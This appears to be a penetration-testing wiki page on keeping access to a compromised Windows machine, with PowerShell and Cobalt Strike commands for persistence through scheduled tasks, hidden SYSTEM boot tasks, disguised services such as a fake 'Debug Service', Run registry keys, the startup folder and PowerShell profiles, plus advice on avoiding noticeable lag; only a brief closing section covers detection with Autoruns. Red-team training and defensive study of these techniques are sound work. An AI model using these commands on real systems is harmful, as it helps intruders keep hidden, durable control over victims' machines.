πŸ‘Ύ Overview

I’ve gained access to a Windows machine and I don’t want to lose it - now what?

There are many different ways to establish persistence on a Windows machine to ensure that you don’t lose access if the machine reboots, your shell dies, etc.

This page will walk through some commonly used tricks to establish persistence either as a standard user, or as system if you’ve established elevated permissions on the target machine.

⏰ Scheduled Tasks

These can be run as either a standard user, or system with elevated privileges.

Scheduled tasks are the Windows equivalent of cronjobs - they’re scheduled jobs which run based on a given trigger under a specific user context. The trigger can be time based (ex. every 6 hours), or event based (ex. on Logon/Reboot).

We can use these to our advantage to run a payload when a user logs in, a system reboots, etc.

πŸ“Œ Exploitation

🐚 PowerShell

Register a schtask to start at boot and run as system (Requires admin rights):

$Action = New-ScheduledTaskAction -Execute "[Payload Path]"
$Trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName "RunAtBoot" -Action $Action -Trigger $Trigger -RunLevel Highest -User "SYSTEM" -Force

Register a schtask to start on user login and run as the current user:

$Action = New-ScheduledTaskAction -Execute "[Payload Path]"
$Trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "RunAtLogon" -Action $Action -Trigger $Trigger -RunLevel Highest -User "$env:USERNAME" -Force

πŸ‘Š Cobalt Strike

Using Cobalt we can use the schtaskscreate BOF to create a scheduled task based on a given XML file.

Trigger a payload on login as a given user:

<Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Triggers>
    <LogonTrigger>
      <Enabled>true</Enabled>
      <UserId>[DOMAIN]\[USER]</UserId>
    </LogonTrigger>
  </Triggers>
  <Principals>
    <Principal>
      <UserId>[DOMAIN]\[USER]</UserId>
    </Principal>
  </Principals>
  <Settings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
  </Settings>
  <Actions>
    <Exec>
      <Command>%LOCALAPPDATA%\[PAYLOAD.EXE]</Command>
    </Exec>
  </Actions>
</Task>

Trigger a payload on boot as system:

<Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
	<Triggers>
		<BootTrigger>
			<Enabled>true</Enabled>
		</BootTrigger>
	</Triggers>
	<Principals>
		<Principal>
			<UserId>NT AUTHORITY\SYSTEM</UserId>
			<RunLevel>HighestAvailable</RunLevel>
		</Principal>
	</Principals>
	<Settings>
		<AllowStartOnDemand>true</AllowStartOnDemand>
		<Enabled>true</Enabled>
		<Hidden>true</Hidden>
	</Settings>
	<Actions>
		<Exec>
			<Command>C:\Windows\System32\[PAYLOAD.EXE]</Command>
		</Exec>
	</Actions>
</Task>

The following command will prompt you for an XML file to create the task from:

schtaskscreate [PATH] XML CREATE

πŸ‘·β€β™‚ Services

These require elevated privileges on the target machine and will run as system.

Windows services can be a great way to establish persistence if you’ve already established privileged access to the machine. These will require administrator rights to create, and the creation of a new service can be a rather noticeable event on the system for a blue team.

πŸ“Œ Exploitation

This requires you to use a binary that behaves like a Windows Service. Starting a normal payload will not work. If generating with C2 like Sliver you'll need to use the service option.

PowerShell:

New-Service -Name "[Name]" -BinaryPathName "[Path]" -DisplayName "[Name]" -Description "[Description]" -StartupType Automatic

Cobalt Strike:

sc_create dbgsvc "Debug Service" C:\Windows\System32\debug_svc.exe "Windows Debug Service" 0 2 3

πŸ“‚ Startup Folder

  • Each user has a startup folder, programs placed within this folder will automatically run when a user logs in.
  • %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup

πŸ”‘ Registry Keys

There are several registry keys that can be useful for establishing persistence on Windows machines.

The Run and RunOnce keys can be used to run a program when a user logs in.

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run - persistent
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce - deleted after one run

πŸ“Œ Exploitation

Powershell:

Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "[Name]" -Value "[Payload Path]" -Type ExpandString

Cobalt Strike:

# Create a reg key
reg_set HKCU Software\Microsoft\Windows\CurrentVersion\Run [Name] REG_EXPAND_SZ [Payload Path]
# Check w reg_query
# Delete with reg_delete

πŸ§” PowerShell Profiles

PowerShell profiles are loaded whenever a new PS window is started by a user unless the -NoProfile tag is used.

They’re stored in the following locations:

  • AllUsersAllHosts : C:\Program Files\PowerShell\7\profile.ps1
  • AllUsersCurrentHost : C:\Program Files\PowerShell\7\Microsoft.PowerShell_profile.ps1
  • CurrentUserAllHosts : C:\Users\username\Documents\PowerShell\profile.ps1
  • CurrentUserCurrentHost : C:\Users\username\Documents\PowerShell\Microsoft.PowerShell_profile.ps1

We can edit $HOME\Documents\WindowsPowerShell\Profile.ps1 to modify the PS profile for our current user.

Users don't see an input prompt until the PS profile finishes loading. To avoid obvious lag this should be used to kick off another script or program and promptly exit.

πŸš” Defense & Detection

A great tool to identify persistence mechanisms is Autoruns. Autoruns is part of the Sysinternals Suite - it helps identify all auto-starting locations of a machine to find out what programs run during system bootup or user login.

πŸ“ Resources

πŸ”— Hyperlinkℹ️ Info
Microsoft LearnCustomizing PS Profiles
Microsoft LearnAutoruns - A tool for finding what programs run automatically on a machine.
Microsoft LearnSysiknternals Suite